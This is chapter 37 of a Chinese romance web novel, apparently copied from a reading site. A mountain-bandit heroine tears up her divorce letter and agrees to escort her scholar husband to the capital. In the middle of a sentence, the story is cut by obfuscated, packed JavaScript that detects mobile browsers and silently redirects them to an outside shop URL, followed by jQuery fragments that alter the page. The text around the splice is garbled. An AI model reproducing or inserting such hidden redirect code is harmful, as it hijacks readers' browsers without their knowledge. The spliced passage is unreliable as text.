37. 第 37 章
作品:《夫君今天逃婚成功了吗》 他说完这句话,人却并未动。房门依旧敞着,他立在门内,眼眶通红,好似藏了无比激烈的情绪,身体都在轻颤,目光却像生了根,牢牢钉在她身上。
崔执瑶像是被这句话的尖刺狠狠扎了一下,目光仓皇垂落。
她从未有过这样的感受。心脏像是被浸在温吞的酸水里,又胀又疼。
眼前的纪文焕,看似破碎,可那直勾勾的眼神却带着一股陌生的侵略性,仿佛在这场决裂里,她才是那个一心只想逃离的人。
她感到一阵心慌。他的情绪像一团缠结的乱麻,她看不懂,解不开,只觉得在他的目光下无所遁形。
本能地,她向后退了一步,两步,三步……然后,转身飞快地跑了出去。
刚推开嘉音的房门,还没平复呼吸,早就趴在门边偷听的嘉音和映月立刻围了上来,两双眼睛满是探究。
嘉音瞧见她惊魂未定的样子,诧异道:“小姐,你不是去送和离书么?怎么脸色瞧着像撞了鬼?”
撞鬼?
崔执瑶恍惚地想,纪文焕方才那双巴不得要将她吞噬的眼睛……简直比撞见鬼还让她心悸。
她勉强定了定神,声音却仍飘忽:“纪文焕他……好像不太一样。”顿了顿,“他刚才看我的眼神……像是恨不得要杀了我。”
映月“啊”了一声,小声嘀咕:“姑爷瞧着脾气顶好的一个人,不至于吧……”
嘉音小心地探头朝外望了望,恰好看见纪文焕那边的房门正被缓缓关上,那背影也透着一股沉郁。
她缩回头,又见崔执瑶两手空空,问道:“小姐,和离书呢?”
崔执瑶魂不守舍地往里走:“还没等他签我就先回来了。东西先留在他那儿了,等他签好,自会送一份回来的。”
和离书惯例一式两份,各自留存为凭。
她径直走到床边躺下,望着帐顶,不说话了。
嘉音和映月凑过来,见她眼神空茫。崔执瑶忽然抬手按住心口,声音闷闷的:“为什么……我这里一点也不好受?又空又疼。”
嘉音忙安慰:“虽说与心上人分开总是难过的,可小姐你武功盖世,心地善良,勇敢又仗义,往后定能遇到更好的人的!小姐莫要太伤心了。”
“心上人”……嘉音再次提起这个说法,让崔执瑶又坐了起来。
她怔怔道:“今日纪文焕问我,到底有没有喜欢过他。”
“那小姐是怎么答的?”
“他说我根本没喜欢过他。”崔执瑶回忆着,眉心微蹙,“我当时是不认的。可现在想想,当初把他抢来,确实只是贪图他一副好皮囊。我喜欢的,或许真的就只有他那张脸吧?”
嘉音和映月对视一眼,都没接话。
崔执瑶像是要说服自己,继续喃喃:“我还记得,当初发现他想爬悬崖逃走时,我气得发疯,甚至想过杀了他。可如今,我却能大方地放他走了……这不正说明,我其实也没那么喜欢他,对不对?”
嘉音迟疑片刻,顺着她的话慢慢点头:“若大小姐只是喜爱容貌俊美的,那倒简单了。等咱们山寨真招了安,下了山,天底下的俊俏儿郎还会少了?即便小姐喜欢纪先生这般会读书的,也不难寻。”
映月也跟着点头。
崔执瑶见她二人都认同这套说辞,心头乍然掠过一丝轻快,可那感觉瞬息即逝,更沉重的落寞反扑上来,压得她几乎透不过气。
崔执瑶颓然倒回枕上,拉起被子蒙住头:“睡觉!不想了!”
最好明日一睁眼,纪文焕就已悄无声息地离开,从此山高水远,再不相见!
这一夜,崔执瑶辗转反侧,直到后半夜才迷糊睡去。她素来沾枕即眠,这般煎熬实属罕见,只觉得长夜漫漫,身心俱疲。
次日天色未亮,她便醒了,心头依旧堵得慌。她轻手轻脚起身,未惊动熟睡的嘉音和映月,独自出了房门。
本想去厨房寻些吃的,不料一揭开锅盖,里面竟温着一碗圆润白胖的元宵,热气袅袅。
这么早?谁起来了?
她正诧异,余光瞥见灶台边立着一道身影。昏暗烛火中,那人一身素白长袍,不是纪文焕是谁?
崔执瑶彻底呆住——纪文焕向来睡到日上三竿,何时这般早起过?
纪文焕面色淡淡,朝她走近几步:“我做的。要一起用些么?”
崔执瑶脑子里不受控制地回想起昨晚那双赤红执拗的眼。她手一抖,锅盖“哐当”一声落回原处,回了神就想直接溜走:“不必了……”
她擦身而过之际,纪文焕却倏然伸手,握住了她的手臂。
力道不轻不重,却还是令她停下了。
纪文焕偏头,看着她这副避自己如蛇蝎的模样,一时不知是该气还是该笑。
她倒真是……拿得起,也放得下。
“你昨日不是要同我和离么?”纪文焕松开手,语气平静,“我思来想去,和离终究是大事,你我二人,还是当面说清楚为好。”
崔执瑶梗着脖子:“该说的都写在那纸上了,你签了字给我便是,还有什么好说的。”
纪文焕唇角极淡地勾了一下,眼里却没什么笑意:“好歹夫妻一场。当初我们的婚事,也曾宴请全寨,热热闹闹。如今散场,也该留几分体面,你说是不是?”
崔执瑶奇怪地看了他一眼,又看了看那碗元宵,实在不明白“体面”二字与这顿早饭有何关联。何况他此刻提起“婚事”,语气里哪有半分温情怀念,倒更像一种冰冷的反讽。
他每提一次“掳来”,都像是在提醒崔执瑶,他们的开始本就是一场错误。
也罢。她想着,这人素来讲究这些虚礼,便随他吧。
“行。”她应道。
照例是崔执瑶先吃完。她食不知味,囫囵吞下,只觉得坐立难安。反观纪文焕,细嚼慢咽,一举一动都透着惯有的斯文。
她忍了又忍,终于在他咽下最后一口时,再也按捺不住:“你到底要当面说什么?”
纪文焕用素绢帕子拭了拭嘴角,抬眼,目光沉静地看向她,这才从袖中取出那份和离书。
他刚拿出来,崔执瑶便一把抢过。
落款处依旧空空如也。她瞪向他:“你还没签?”
纪文焕不答,只问:“这不是你亲笔所写吧?”
崔执瑶理直气壮:“那又如何?签字画押的是我们二人就行。”
纪文焕轻轻摇头:“这份和离书,我便是签了,也做不得数。”
“为何?”崔执瑶蹙眉,“就因不是我写的?”
“和离书需呈报官府备案,换取盖有官印的离异文契,方可作为各自婚嫁的凭证。”纪文焕看着她,缓缓道,“你我当初成亲,未曾向官府报备登记,婚事本就不录于官籍。如今要分开,各走一边就是了,何必多此一举?”
这话实实在在触及了崔执瑶的认知盲区。她低头看着手中单薄的纸张,忽然有些难过。
纪文焕说得对。他们之间,连一份正式的和离书都不配拥有。
她回想起那场热闹的婚礼,虽不奢华,却也是红烛高照,全寨同庆;与纪文焕相处的日子,纵然磕绊不少,却也有过灯火下对坐、雨夜中共读的片刻宁馨。
临到终了,连一点能握在手里的“凭证”都留不下。
崔执瑶忽地抬手,将那张纸利落撕成碎片。
纪文焕眼中掠过一丝讶异。
她迎着他的目光,深吸一口气,声音清晰却微哑:“从前种种,是我行事荒唐,对不住你。你走你的阳关道,我过我的独木桥,本就不该有交集。历经这许多事,我也算明白了些道理。若非我一意孤行,不会为山寨招来祸端,也不会……累你在此蹉跎。”
“你既要当面说清,要散得体面,那我便在此,祝纪大人日后步步高升,前程似锦。你我从此一别两宽,各自珍重吧。”
“纪大人”这个称呼,自他入仕以来,不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17081734|193392||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
知听过多少遍。可从崔执瑶口中唤出,却是头一遭。
两人隔着方桌对坐,纪文焕的目光在她脸上细细巡梭,想从中找出哪怕一丝一毫的动摇,可最终只看到一片决然的平静。
崔执瑶也细细看着他。到底“夫妻”一场,此后山高水长,怕是再难有这样的时刻,能让他们二人这样对坐了。
她先收回了目光。只觉得昨夜心底那点刚被强行压下的溃败感,又有卷土重来的趋势。长痛不如短痛,拖泥带水从来不是她的风格。
她起身欲走,纪文焕却也同时站了起来,一步挡在她面前。
崔执瑶抬眼:“还有事?”
纪文焕望着她,那双眼睛里又浮起昨夜那种执拗:“崔执瑶,你到底有没有……喜欢过我?”
又是这个问题。
崔执瑶不明白,事到如今,他为何还要执着于此。
现在要她承认喜欢,岂不是自取其辱,徒惹笑话?
她低下头,避开他的视线。
这已是她第二次,对这个问题沉默了。
纪文焕喉结滚动了一下,最终,也只是极轻地笑了笑,那笑意未达眼底,更添几分寥落。
崔执瑶绕开他,又想走。
纪文焕却再次拦住了她。
崔执瑶耐心耗尽,抬眼瞪他:“纪文焕,你到底想怎样?”
纪文焕望进她染了薄怒的眼眸,声音低下来:“你愿意陪我入京吗?”
崔执瑶愕然。
“你昨日不是问,寨主寻我何事么?”纪文焕不再回避,“我同寨主说,我想在山寨正式招安之前,先行入京。他应允了。”
“你入京为何要我陪?我们俩都已经……”她顿住,想说“和离”,又临时改口,“已经分道扬镳了!”
“你也知道,”纪文焕语气平缓,“我当初之所以被你掳来,正是遭陆康一党追杀。”
听到“掳来”二字,崔执瑶剜他一眼,他却神色不变,接着道:“如今我孤身返京,路途遥远,危机四伏。我身边并无得力护卫,而你武功高强……我想请你,护送我回京。”
原来如此。
最后那点隐秘的期盼,被他这句话彻底打散。崔执瑶猛地甩开他的手,气笑了:“护送?我凭什么护送你?我又不是你的家将护卫!自己本事不济,便听天由命吧……”
她又要走,纪文焕再次拉住她衣袖,这次力道放得很轻,声音恳切:“好歹夫妻一场,你当真忍心看我下山送死?你若愿护我平安抵达京城,我保证赠你一柄全京城最好的剑。”
崔执瑶侧过头打量他:“那姓陆的不是已被我擒了么?还有谁会要你的命?况且你上次不是说,你父亲已派人来寻你?他们久经沙场,何须用我?”
“没有陆康,还有旁人。”纪文焕神色认真,“我父亲麾下兵将,擅长大军对阵,若论江湖搏杀、贴身护卫,武功未必及你。”
不知是他话语中的哪一点取悦了她,崔执瑶脸上的不耐烦稍稍松动了一丝。
她挑眉:“你莫不是个奸臣?怎的仇家遍地。”
纪文焕被噎了一下,委屈道:“我当真冤枉。”
他看着她,眼神专注,语气放得更软,甚至带上了一丝她从未听过的、类似祈求的意味:“崔女侠,你侠肝义胆,是我平生所见武功最高之人……便当发发慈悲,救我一命,可好?”
崔执瑶沉默了,似在权衡。
纪文焕心中也不由忐忑,等着她的答案。
半晌,崔执瑶终于抬眼,干脆道:“行,我可以护送你。”
不等纪文焕露出喜色,她又迅速道:“先说好,我可不是为了你!是为了那柄全京城最好的剑!”
纪文焕从善如流,立刻点头:“明白。”
崔执瑶这才满意地颔首:“你打算何时动身?”
纪文焕望着她的侧脸,眼底深处掠过一丝极淡的微光,语气轻快:
“今日。”

